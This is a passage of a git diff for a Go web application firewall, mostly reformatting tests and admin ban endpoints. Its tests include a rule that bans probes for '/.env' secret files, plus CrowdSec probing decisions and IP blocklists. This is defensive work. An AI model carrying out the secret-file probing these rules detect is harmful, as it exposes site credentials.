where they say. remote is nil unless +// SWW_LOG_REMOTE_URL is set. +func runWAFWithSettings( + ctx context.Context, + version string, + cfg *config.Config, + stdout io.Writer, + remote *remotelog.Sender, + processLog *slog.Logger, +) int { // The state files and the alerts give times in UTC. now := func() time.Time { return time.Now().UTC() } @@ -146,23 +173,25 @@ func RunWAF(ctx context.Context, params Params) int { Alerts: alertQueue, }) if err != nil { - processLog.Error("cannot use the rule files", "error", err.Error()) - - return 1 + return cannotStart(processLog, "cannot use the rule files", err) } crs, err := waf.NewCoreRuleSet(cfg) if err != nil { - processLog.Error("cannot use the Core Rule Set", "error", err.Error()) - - return 1 + return cannotStart(processLog, "cannot use the Core Rule Set", err) } - server, err := newServer(cfg, stdout, processLog, now, ruleFiles, alertQueue, crs) + server, err := newServer( + cfg, + stdout, + processLog, + now, + ruleFiles, + alertQueue, + crs, + ) if err != nil { - processLog.Error("cannot use the lookup database", "error", err.Error()) - - return 1 + return cannotStart(processLog, "cannot use the lookup database", err) } if remote != nil { @@ -171,24 +200,43 @@ func RunWAF(ctx context.Context, params Params) int { files, err := loadStateFiles(cfg, server, alertQueue, now, processLog) if err != nil { - processLog.Error("cannot use the state and cache files", "error", err.Error()) - - return 1 + return cannotStart( + processLog, + "cannot use the state and cache files", + err, + ) } listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr) if err != nil { - processLog.Error("cannot listen on SWW_LISTEN_ADDR", "error", err.Error()) - - return 1 + return cannotStart( + processLog, + "cannot listen on SWW_LISTEN_ADDR", + err, + ) } processLog.Info("starting", - "version", params.Version, + "version", version, "address", listener.Addr().String(), "settings", cfg) - return serve(ctx, server, listener, files, ruleFiles, alertQueue, processLog) + return serve( + ctx, + server, + listener, + files, + ruleFiles, + alertQueue, + processLog, + ) +} + +// cannotStart logs why waf cannot start, and returns its exit status. +func cannotStart(processLog *slog.Logger, message string, err error) int { + processLog.Error(message, "error", err.Error()) + + return 1 } // newServer returns the server waf runs, with the metrics of the alerts, @@ -230,7 +278,10 @@ func newServer( server.Metrics.AddAlerts(alertQueue) if lookupFile != nil { - server.Metrics.AddLookupFile(lookupFile.LastRead, lookupFile.ReadFailures) + server.Metrics.AddLookupFile( + lookupFile.LastRead, + lookupFile.ReadFailures, + ) } return server, nil @@ -395,7 +446,11 @@ func serve( err = files.WriteAll() if err != nil { - processLog.Error("writing the state and cache files failed", "error", err.Error()) + processLog.Error( + "writing the state and cache files failed", + "error", + err.Error(), + ) return 1 } diff --git a/internal/sww/sww_internal_test.go b/internal/sww/sww_internal_test.go index 06bb737..0396463 100644 --- a/internal/sww/sww_internal_test.go +++ b/internal/sww/sww_internal_test.go @@ -22,7 +22,10 @@ func TestStopWaitsForTheSenderToFinish(t *testing.T) { synctest.Test(t, func(t *testing.T) { took := stopHeldSender(t, time.Second) if took != time.Second { - t.Errorf("the stop took %s, want the second the sender took", took) + t.Errorf( + "the stop took %s, want the second the sender took", + took, + ) } }) } @@ -59,7 +62,10 @@ func stopHeldSender(t *testing.T, release time.Duration) time.Duration { sender := remotelog.New(remotelog.Params{ // No port is 65536, so each attempt to connect fails at once, // before it reaches the network. - URL: &url.URL{Scheme: remotelog.SchemeTCP, Host: "127.0.0.1:65536"}, + URL: &url.URL{ + Scheme: remotelog.SchemeTCP, + Host: "127.0.0.1:65536", + }, Buffer: 1, }) diff --git a/internal/sww/sww_test.go b/internal/sww/sww_test.go index 1849853..f2f4634 100644 --- a/internal/sww/sww_test.go +++ b/internal/sww/sww_test.go @@ -111,8 +111,12 @@ func (o *output) lineBeforeExit( select { case status := <-exited: - t.Fatalf("exit status %d while waiting for a line with msg %q; output:\n%s", - status, msg, o.text()) + t.Fatalf( + "exit status %d while waiting for a line with msg %q; output:\n%s", + status, + msg, + o.text(), + ) case <-time.After(pollInterval): } } @@ -227,7 +231,11 @@ func TestShortTokenStopsTheStartUnshown(t *testing.T) { func TestAddressInUseStopsTheStart(t *testing.T) { t.Parallel() - taken, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") + taken, err := (&net.ListenConfig{}).Listen( + t.Context(), + "tcp", + localhost+":0", + ) if err != nil { t.Fatalf("listen: %v", err) } @@ -325,7 +333,11 @@ func TestLogLevelHoldsBackTheLessSevereProcessLines(t *testing.T) { select { case status := <-exited: if status != 0 { - t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text()) + t.Fatalf( + "exit status %d, want 0; output:\n%s", + status, + out.text(), + ) } case <-time.After(waitLimit): t.Fatal("still running after being told to stop") @@ -479,7 +491,14 @@ func TestBanAddedAndLiftedByEditingBansJSON(t *testing.T) { runUntilStopped(t, env, func(url string) { path := filepath.Join(dir, "bans.json") - saveUntilAnswered(t, path, oneBan, url, "203.0.113.9", http.StatusForbidden) + saveUntilAnswered( + t, + path, + oneBan, + url, + "203.0.113.9", + http.StatusForbidden, + ) wantStatus(t, url, "198.51.100.7", http.StatusOK) saveUntilAnswered(t, path, noBan, url, "203.0.113.9", http.StatusOK) }) @@ -568,12 +587,20 @@ func TestRuleFileThatDoesNotParseStopsTheStart(t *testing.T) { dir := t.TempDir() path := filepath.Join(dir, "00-default.rules") - err := os.WriteFile(path, []byte("# probes\nenv-file path bann ^/\\.env$\n"), 0o600) + err := os.WriteFile( + path, + []byte("# probes\nenv-file path bann ^/\\.env$\n"), + 0o600, + ) if err != nil { t.Fatalf("write the rule file: %v", err) } - wantRulesRefused(t, dir, path+`, line 2: the action "bann" is not log, block or ban`) + wantRulesRefused( + t, + dir, + path+`, line 2: the action "bann" is not log, block or ban`, + ) } func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) { @@ -585,7 +612,9 @@ func TestRulesDirThatDoesNotExistStopsTheStart(t *testing.T) { ": no such file or directory") } -func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart(t *testing.T) { +func TestCoreRuleSetExclusionsFileThatCannotBeReadStopsTheStart( + t *testing.T, +) { t.Parallel() path := filepath.Join(t.TempDir(), "crs-exclusions.conf") @@ -686,23 +715,38 @@ func TestLookupDatabaseReplacedWhileRunningTakesEffect(t *testing.T) { } // One that cannot be read leaves the file read before in use. - err := os.WriteFile(replacement, []byte("not a lookup database\n"), 0o600) + err := os.WriteFile( + replacement, + []byte("not a lookup database\n"), + 0o600, + ) if err != nil { t.Fatalf("write %s: %v", replacement, err) } rename(t, replacement, path) - metrics := metricsWith(t, url+"_sww/metrics", token, - `sww_lookup_database_read_failures_total{instance="fsn1app1/blog"} 1`) - lastRead = seriesValue(t, metrics, - `sww_lookup_database_last_read_timestamp_seconds{instance="fsn1app1/blog"}`) + metrics := metricsWith( + t, + url+"_sww/metrics", + token, + `sww_lookup_database_read_failures_total{instance="fsn1app1/blog"} 1`, + ) + lastRead = seriesValue( + t, + metrics, + `sww_lookup_database_last_read_timestamp_seconds{instance="fsn1app1/blog"}`, + ) wantStatus(t, url, placed, http.StatusOK) }) - if lastRead < float64(began.Unix()) || lastRead > float64(time.Now().Unix()) { - t.Errorf("the lookup database was last read at %v, want a time in the test", lastRead) + if lastRead < float64(began.Unix()) || + lastRead > float64(time.Now().Unix()) { + t.Errorf( + "the lookup database was last read at %v, want a time in the test", + lastRead, + ) } } @@ -776,8 +820,8 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) { }) wantDeniedByList(t, out.line(t, "action", "client_denied"), dropURL) - if fetches := torFetches.Load(); fetches != 1 { - t.Errorf("tor.txt fetched %d times, want once, before the restart", fetches) + if n := torFetches.Load(); n != 1 { + t.Errorf("tor.txt fetched %d times before the restart, want 1", n) } // After another restart, with the server failing, the copy of drop.txt @@ -792,10 +836,10 @@ func TestBlocklistTriesAndCopiesKeptInListsJSONAcrossRestarts(t *testing.T) { path := filepath.Join(cache, "lists.json") - kept, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory + //nolint:gosec // a file in the test's directory + kept, err := os.ReadFile(path) if err != nil || !strings.Contains(string(kept), `"`+copyright+`"`) { - t.Errorf("lists.json holds\n%s\nwant the copy with %q (%v)", kept, copyright, - err) + t.Errorf("lists.json holds\n%s\nwant %q (%v)", kept, copyright, err) } } @@ -815,9 +859,12 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) { case down.Load(): w.WriteHeader(http.StatusServiceUnavailable) default: - _, _ = io.WriteString(w, `[{"duration": "4h0m0s", "origin": "crowdsec", `+ - `"scenario": "crowdsecurity/http-probing", "scope": "Range", `+ - `"type": "ban", "value": "203.0.113.0/24"}]`) + _, _ = io.WriteString( + w, + `[{"duration": "4h0m0s", "origin": "crowdsec", `+ + `"scenario": "crowdsecurity/http-probing", "scope": "Range", `+ + `"type": "ban", "value": "203.0.113.0/24"}]`, + ) } })) t.Cleanup(engine.Close) @@ -842,7 +889,11 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) { ban := onlyBan(t, dir) if ban["netblock"] != placed+"/32" || ban["cause"] != "crowdsec" || ban["reason"] != "CrowdSec's decision for crowdsecurity/http-probing" { - t.Errorf("bans.json holds %v, want the ban for crowdsec on %s", ban, placed) + t.Errorf( + "bans.json holds %v, want the ban for crowdsec on %s", + ban, + placed, + ) } // Restarted with the engine down, the copy kept in lists.json bans @@ -871,7 +922,10 @@ func TestCrowdSecDecisionListKeptInListsJSONAcrossARestart(t *testing.T) { } if all := strings.Join(shown, "\n"); strings.Contains(all, bouncerKey) { - t.Errorf("the key is shown in the output or the state and cache files:\n%s", all) + t.Errorf( + "the key is shown in the output or the state and cache files:\n%s", + all, + ) } } @@ -883,7 +937,11 @@ func wantDeniedByList(t *testing.T, line map[string]any, listURL string) { reputation, _ := line["reputation"].([]any) if line["action"] != "client_denied" || len(reputation) != 1 || reputation[0] != listURL { - t.Errorf("request log line %v, want one denied for %s", line, listURL) + t.Errorf( + "request log line %v, want one denied for %s", + line, + listURL, + ) } } @@ -918,7 +976,11 @@ func TestLookupDatabaseThatCannotBeReadStopsTheStart(t *testing.T) { func TestEveryLineIsAlsoSentToTheRemoteLogEndpoint(t *testing.T) { t.Parallel() - endpoint, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") + endpoint, err := (&net.ListenConfig{}).Listen( + t.Context(), + "tcp", + localhost+":0", + ) if err != nil { t.Fatalf("listen: %v", err) } @@ -973,7 +1035,11 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) { // The endpoint takes connections and never answers, so the TLS // handshake of each waits on it, and no line is ever sent. - endpoint, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") + endpoint, err := (&net.ListenConfig{}).Listen( + t.Context(), + "tcp", + localhost+":0", + ) if err != nil { t.Fatalf("listen: %v", err) } @@ -1009,7 +1075,8 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) { const dropped = "\nsww_remote_log_lines_dropped_total" + `{instance="fsn1app1/blog"} ` - if strings.Contains(metrics, dropped+"0\n") || !strings.Contains(metrics, dropped) { + if strings.Contains(metrics, dropped+"0\n") || + !strings.Contains(metrics, dropped) { t.Errorf("no line dropped in the metrics:\n%s", metrics) } @@ -1035,7 +1102,11 @@ func TestStalledRemoteLogEndpointHoldsUpNoRequest(t *testing.T) { // too. line := out.line(t, "msg", "starting") if line["instance"] != instance { - t.Errorf("start logged with instance %v, want %s", line["instance"], instance) + t.Errorf( + "start logged with instance %v, want %s", + line["instance"], + instance, + ) } } @@ -1066,10 +1137,14 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) { wantRefused(t, url+".env") post := webhook.waitFor(t, "ban", true) - if post.alert["client"] != localhost || post.alert["netblock"] != localhost+"/32" || + if post.alert["client"] != localhost || + post.alert["netblock"] != localhost+"/32" || post.authorization != "Bearer "+adminSecret { - t.Errorf("the webhook was sent %v, with Authorization %q", post.alert, - post.authorization) + t.Errorf( + "the webhook was sent %v, with Authorization %q", + post.alert, + post.authorization, + ) } // The webhook fails, so the alert for the ban made permanent by the @@ -1081,24 +1156,7 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) { // alerts.json keeps it as sww stops, and once started again, // sww sends it. - var file struct { - Waiting map[string][]struct { - Event string `json:"event"` - } `json:"waiting"` - } - - path := filepath.Join(dir, "alerts.json") - - data, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory - if err == nil { - err = json.Unmarshal(data, &file) - } - - waiting := file.Waiting["webhook"] - if err != nil || len(waiting) != 1 || waiting[0].Event != "permanent_ban" { - t.Fatalf("alerts.json holds %s (%v), want the permanent_ban alert waiting for "+ - "the webhook", data, err) - } + wantPermanentBanAlertWaiting(t, dir) // It counts the alert sent in the metrics, read here from a client the // ban does not cover. @@ -1130,6 +1188,37 @@ func TestBanIsAlertedAndAnAlertNotSentIsKeptAcrossARestart(t *testing.T) { }) } +// wantPermanentBanAlertWaiting checks that alerts.json in dir holds one +// alert waiting for the webhook, the permanent_ban alert. +func wantPermanentBanAlertWaiting(t *testing.T, dir string) { + t.Helper() + + var file struct { + Waiting map[string][]struct { + Event string `json:"event"` + } `json:"waiting"` + } + + path := filepath.Join(dir, "alerts.json") + + //nolint:gosec // a file in the test's directory + data, err := os.ReadFile(path) + if err == nil { + err = json.Unmarshal(data, &file) + } + + waiting := file.Waiting["webhook"] + if err != nil || len(waiting) != 1 || + waiting[0].Event != "permanent_ban" { + t.Fatalf( + "alerts.json holds %s (%v), want the permanent_ban alert waiting for "+ + "the webhook", + data, + err, + ) + } +} + func TestBanIsAlertedToSlackAndNtfy(t *testing.T) { t.Parallel() @@ -1167,7 +1256,8 @@ func TestBanIsAlertedToSlackAndNtfy(t *testing.T) { slackPost := slack.firstPost(t) err := json.Unmarshal([]byte(slackPost.body), &message) - if err != nil || !strings.HasPrefix(message.Text, "*fsn1app1/blog: ban*\n") || + if err != nil || + !strings.HasPrefix(message.Text, "*fsn1app1/blog: ban*\n") || !strings.Contains(message.Text, "\nclient: "+client+"\n") { t.Errorf("Slack was sent %s", slackPost.body) } @@ -1202,14 +1292,22 @@ func TestStateFileThatDoesNotParseStopsTheStart(t *testing.T) { dir := t.TempDir() - err := os.WriteFile(filepath.Join(dir, "bans.json"), []byte("{\n"), 0o600) + err := os.WriteFile( + filepath.Join(dir, "bans.json"), + []byte("{\n"), + 0o600, + ) if err != nil { t.Fatalf("write bans.json: %v", err) } // The file ends at the newline that is the second byte of its first // line. - wantStartRefused(t, dir, filepath.Join(dir, "bans.json")+", line 1, column 2: ") + wantStartRefused( + t, + dir, + filepath.Join(dir, "bans.json")+", line 1, column 2: ", + ) } func TestUnwritableStateDirStopsTheStart(t *testing.T) { @@ -1264,7 +1362,11 @@ func wantStartRefused(t *testing.T, dir, want string) { message, _ := line["error"].(string) if !strings.HasPrefix(message, want) { - t.Errorf("start refused with %q, want an error starting %q", message, want) + t.Errorf( + "start refused with %q, want an error starting %q", + message, + want, + ) } } @@ -1329,7 +1431,11 @@ func runUntilStopped( select { case status := <-exited: if status != 0 { - t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text()) + t.Fatalf( + "exit status %d, want 0; output:\n%s", + status, + out.text(), + ) } case <-time.After(waitLimit): t.Fatal("still running after being told to stop") @@ -1371,7 +1477,12 @@ func wantStartingLine(t *testing.T, line map[string]any, dir string) { for name, value := range want { if settings[name] != value { - t.Errorf("starting line gives %s=%v, want %v", name, settings[name], value) + t.Errorf( + "starting line gives %s=%v, want %v", + name, + settings[name], + value, + ) } } @@ -1411,7 +1522,11 @@ func messages(t *testing.T, received string) []string { _, message, ok := strings.Cut(record, header) if !ok || !strings.HasPrefix(record, "<134>1 ") { - t.Fatalf("record %q, want priority <134> and header %q", record, header) + t.Fatalf( + "record %q, want priority <134> and header %q", + record, + header, + ) } found = append(found, message+"\n") @@ -1476,7 +1591,10 @@ func seriesValue(t *testing.T, metrics, series string) float64 { t.Helper() for line := range strings.Lines(metrics) { - value, found := strings.CutPrefix(strings.TrimSpace(line), series+" ") + value, found := strings.CutPrefix( + strings.TrimSpace(line), + series+" ", + ) if !found { continue } @@ -1510,7 +1628,11 @@ func writeLookupDatabase(t *testing.T, path, country string) { t.Helper() lookuptest.Write(t, path, map[string]lookuptest.Network{ - placed + "/32": {ASN: "AS64496", ASName: "Example Net", Country: country}, + placed + "/32": { + ASN: "AS64496", + ASName: "Example Net", + Country: country, + }, }) } @@ -1548,7 +1670,8 @@ func onlyBan(t *testing.T, dir string) map[string]any { path := filepath.Join(dir, "bans.json") - data, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory + //nolint:gosec // a file in the test's directory + data, err := os.ReadFile(path) if err != nil { t.Fatalf("read bans.json: %v", err) } @@ -1590,7 +1713,11 @@ func wantStatus(t *testing.T, url, from string, status int) { // request, since sww may not watch its directory yet when it is // first written. It waits as long as that takes, so that a slow test // process cannot fail the test. -func saveUntilAnswered(t *testing.T, path, content, url, from string, status int) { +func saveUntilAnswered( + t *testing.T, + path, content, url, from string, + status int, +) { t.Helper() for { @@ -1722,7 +1849,11 @@ func startWebhook(t *testing.T) *webhook { // waitFor waits until the webhook has been sent an alert for event that // it took, or, unless answered, failed, and returns it. It waits as long // as that takes, so that a slow test process cannot fail the test. -func (w *webhook) waitFor(t *testing.T, event string, answered bool) webhookPost { +func (w *webhook) waitFor( + t *testing.T, + event string, + answered bool, +) webhookPost { t.Helper() for { diff --git a/internal/sww/waf_test.go b/internal/sww/waf_test.go index 8c8e0c0..9dea9ed 100644 --- a/internal/sww/waf_test.go +++ b/internal/sww/waf_test.go @@ -14,6 +14,7 @@ import ( "syscall" "testing" "time" + // The time zone database, so that the process TestMainRunsWAF starts // finds the zone TZ names on any host. _ "time/tzdata" @@ -85,7 +86,8 @@ func TestMainRunsWAF(t *testing.T) { dir := t.TempDir() out := &output{} - cmd := exec.CommandContext(t.Context(), binary) //nolint:gosec // this test binary + //nolint:gosec // this test binary + cmd := exec.CommandContext(t.Context(), binary) cmd.Stdout = out cmd.Env = append(os.Environ(), @@ -112,7 +114,11 @@ func TestMainRunsWAF(t *testing.T) { select { case status := <-exited: if status != 0 { - t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text()) + t.Fatalf( + "exit status %d, want 0; output:\n%s", + status, + out.text(), + ) } case <-time.After(waitLimit): t.Fatal("still running after being told to stop") @@ -123,7 +129,8 @@ func TestMainRunsWAF(t *testing.T) { path := filepath.Join(dir, "clients.json") - clients, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory + //nolint:gosec // a file in the test's directory + clients, err := os.ReadFile(path) if err != nil { t.Fatalf("read clients.json: %v", err) } @@ -181,7 +188,11 @@ func TestMainWithoutACommandItKnowsPrintsTheCommands(t *testing.T) { for _, name := range []string{"rproxy", wafCommand, "healthcheck"} { if !strings.Contains(stderr.String(), name) { - t.Errorf("stderr %q does not name %s", stderr.String(), name) + t.Errorf( + "stderr %q does not name %s", + stderr.String(), + name, + ) } } @@ -219,8 +230,13 @@ func ask(t *testing.T, addr, path string, status int, disposition string) { if res.StatusCode != status || res.Header.Get(waf.DispositionHeader) != disposition { - t.Errorf("answered %d with disposition %q, want %d with %q", res.StatusCode, - res.Header.Get(waf.DispositionHeader), status, disposition) + t.Errorf( + "answered %d with disposition %q, want %d with %q", + res.StatusCode, + res.Header.Get(waf.DispositionHeader), + status, + disposition, + ) } } @@ -245,7 +261,11 @@ func runWAF(t *testing.T, env map[string]string, use func(addr string)) { select { case status := <-exited: if status != 0 { - t.Fatalf("exit status %d, want 0; output:\n%s", status, out.text()) + t.Fatalf( + "exit status %d, want 0; output:\n%s", + status, + out.text(), + ) } case <-time.After(waitLimit): t.Fatal("still running after being told to stop") diff --git a/internal/waf/abuseipdb.go b/internal/waf/abuseipdb.go index 6fca7fd..a253c99 100644 --- a/internal/waf/abuseipdb.go +++ b/internal/waf/abuseipdb.go @@ -26,7 +26,11 @@ type abuseIPDB struct{} func (abuseIPDB) name() string { return "abuseipdb" } -func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict { +func (abuseIPDB) check( + ctx context.Context, + rq *request, + _ time.Time, +) *verdict { if rq.h.config.AbuseIPDBKey == "" { return nil } @@ -42,8 +46,13 @@ func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict { rq.abuseIPDBHit = true rq.addTag(config.AbuseIPDBTag) - rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score}, - "scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE") + rq.noteHit( + bans.ReputationHit{ + Source: reputation.AbuseIPDBSource, + Score: &score, + }, + "scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE", + ) if rq.h.config.ReputationAction != deny { return nil diff --git a/internal/waf/admin.go b/internal/waf/admin.go index e3a1497..3d63675 100644 --- a/internal/waf/admin.go +++ b/internal/waf/admin.go @@ -31,7 +31,8 @@ var ( errNotBanToAdd = errors.New( "the body is not a JSON object of netblock, duration and reason") errNotNetblock = errors.New( - "is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24") + "is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24", + ) errMappedNetblock = errors.New( "is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24") errZone = errors.New("has a zone, which a netblock cannot have") @@ -61,10 +62,18 @@ func (rq *request) answerAdmin() { switch { case token == "": - http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound) + http.Error( + rq.out, + http.StatusText(http.StatusNotFound), + http.StatusNotFound, + ) case !hasToken(rq.in, token): rq.out.Header().Set("WWW-Authenticate", "Bearer") - http.Error(rq.out, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized) + http.Error( + rq.out, + http.StatusText(http.StatusUnauthorized), + http.StatusUnauthorized, + ) default: answer() } @@ -150,7 +159,9 @@ func (rq *request) addBan() { // readBanToAdd reads the body of POST BansPath: a JSON object with // nothing but whitespace after it, in at most banBodyMaxBytes. func (rq *request) readBanToAdd() (banToAdd, error) { - data, err := io.ReadAll(http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes)) + data, err := io.ReadAll( + http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes), + ) rq.requestBytes = int64(len(data)) if err != nil { @@ -170,7 +181,10 @@ func (rq *request) readBanToAdd() (banToAdd, error) { // Token returns io.EOF only when nothing but whitespace is left. _, err = decoder.Token() if !errors.Is(err, io.EOF) { - return banToAdd{}, fmt.Errorf("%w: more follows the object", errNotBanToAdd) + return banToAdd{}, fmt.Errorf( + "%w: more follows the object", + errNotBanToAdd, + ) } return toAdd, nil @@ -185,7 +199,11 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) { netblock, err := netip.ParsePrefix(value) if err == nil { if netblock.Addr().Is4In6() { - return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errMappedNetblock) + return netip.Prefix{}, fmt.Errorf( + "netblock %q %w", + value, + errMappedNetblock, + ) } return netblock, nil @@ -195,7 +213,11 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) { // 2001:db8::1%x/48 as part of the zone. addr, err := netip.ParseAddr(value) if err != nil { - return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errNotNetblock) + return netip.Prefix{}, fmt.Errorf( + "netblock %q %w", + value, + errNotNetblock, + ) } if addr.Zone() != "" { @@ -214,7 +236,11 @@ func expiry(duration string, now time.Time) (time.Time, error) { length, err := config.ParseDurationNotOff(duration) if err != nil { - return time.Time{}, fmt.Errorf("duration %q %w", duration, errNotDuration) + return time.Time{}, fmt.Errorf( + "duration %q %w", + duration, + errNotDuration, + ) } return now.Add(length), nil @@ -233,7 +259,11 @@ func (rq *request) liftBans() { lifted := rq.h.ledger.Lift(client, rq.h.now()) if len(lifted) == 0 { - http.Error(rq.out, "no ban is active on "+client.String(), http.StatusNotFound) + http.Error( + rq.out, + "no ban is active on "+client.String(), + http.StatusNotFound, + ) return } @@ -261,7 +291,9 @@ func (rq *request) showClient() { return } - answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))} + answer := clientAnswer{ + Bans: state.BanEntries(rq.h.ledger.Covering(addr)), + } client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr)) if seen { @@ -294,7 +326,11 @@ func (rq *request) answerBans(held []bans.Ban) { func (rq *request) answerJSON(value any) { body, err := json.MarshalIndent(value, "", " ") if err != nil { - rq.h.processLog.Error("encoding an answer failed", "error", err.Error()) + rq.h.processLog.Error( + "encoding an answer failed", + "error", + err.Error(), + ) http.Error(rq.out, http.StatusText(http.StatusInternalServerError), http.StatusInternalServerError) diff --git a/internal/waf/admin_test.go b/internal/waf/admin_test.go index 13d65dc..16c9e21 100644 --- a/internal/waf/admin_test.go +++ b/internal/waf/admin_test.go @@ -32,20 +32,37 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) { t.Parallel() // The metrics token is set, and opens none of them. - s, clk, server := startWithClock(t, "", map[string]string{metricsToken: token}) - server.Ledger.BanForLimit(netip.MustParsePrefix(otherClient+"/32"), clk.Now(), - bans.Notes{}) + s, clk, server := startWithClock( + t, + "", + map[string]string{metricsToken: token}, + ) + server.Ledger.BanForLimit( + netip.MustParsePrefix(otherClient+"/32"), + clk.Now(), + bans.Notes{}, + ) before := server.Ledger.Snapshot() // An empty token does not match the unset one either. for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} { for _, e := range adminEndpoints() { - s.ownEndpointRequest(authorization, e.method, e.path, e.body, http.StatusNotFound) + s.ownEndpointRequest( + authorization, + e.method, + e.path, + e.body, + http.StatusNotFound, + ) } } if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) { - t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before) + t.Errorf( + "the bans are now\n%+v\nwant them unchanged\n%+v", + after, + before, + ) } } @@ -67,22 +84,44 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) { for _, authorization := range []string{ "", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret, } { - got := s.ownEndpointRequest(authorization, e.method, e.path, e.body, - http.StatusUnauthorized) + got := s.ownEndpointRequest( + authorization, + e.method, + e.path, + e.body, + http.StatusUnauthorized, + ) if got.header.Get("WWW-Authenticate") != "Bearer" { - t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer", - e.method, e.path, authorization) + t.Errorf( + "%s %s with %q was answered without WWW-Authenticate: Bearer", + e.method, + e.path, + authorization, + ) } } - if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) { - t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v", - e.method, e.path, after, before) + if after := server.Ledger.Snapshot(); !reflect.DeepEqual( + after, + before, + ) { + t.Errorf( + "%s %s without the token changed the bans to\n%+v\nfrom\n%+v", + e.method, + e.path, + after, + before, + ) } got := s.admin(e.method, e.path, e.body, http.StatusOK) if got.header.Get("Content-Type") != "application/json" { - t.Errorf("%s %s answered %q", e.method, e.path, got.header.Get("Content-Type")) + t.Errorf( + "%s %s answered %q", + e.method, + e.path, + got.header.Get("Content-Type"), + ) } } @@ -121,7 +160,11 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) { wantBans(t, s.admin(http.MethodPost, waf.BansPath, banOtherClient, http.StatusOK), want) - line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned) + line := s.get( + client, + http.StatusForbidden, + requestlog.ActionTemporarilyBanned, + ) if line.BanExpires != requestlog.FormatTime(expires) { t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires) } @@ -129,7 +172,11 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) { // Its notes count the request it refused. want.Notes.Requests, want.Notes.Refused = 1, 1 - wantBans(t, s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), want) + wantBans( + t, + s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), + want, + ) // Ten minutes on, lifting the bans on client lifts that one, which is // kept, marked lifted. @@ -141,10 +188,19 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) { wantBans(t, s.admin(http.MethodDelete, waf.BansPath+"/"+client, "", http.StatusOK), want) s.get(client, http.StatusOK, requestlog.ActionForward) - wantBans(t, s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), want) + wantBans( + t, + s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), + want, + ) // No ban on it is active any more. - s.admin(http.MethodDelete, waf.BansPath+"/"+client, "", http.StatusNotFound) + s.admin( + http.MethodDelete, + waf.BansPath+"/"+client, + "", + http.StatusNotFound, + ) } func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) { @@ -173,7 +229,9 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) { body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` + "\r\n" want := state.BanEntry{ - Netblock: netip.MustParsePrefix(tc.want), Start: start, Cause: bans.CauseAdmin, + Netblock: netip.MustParsePrefix( + tc.want, + ), Start: start, Cause: bans.CauseAdmin, } if tc.length != 0 { @@ -181,15 +239,22 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) { want.Expires = &expires } - wantBans(t, s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK), - want) + wantBans( + t, + s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK), + want, + ) } } func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) { t.Parallel() - s, _, server := startWithClock(t, "", map[string]string{adminToken: adminSecret}) + s, _, server := startWithClock( + t, + "", + map[string]string{adminToken: adminSecret}, + ) for _, tc := range []struct{ body, want string }{ {"", "the body is not a JSON object of netblock, duration and reason: EOF"}, 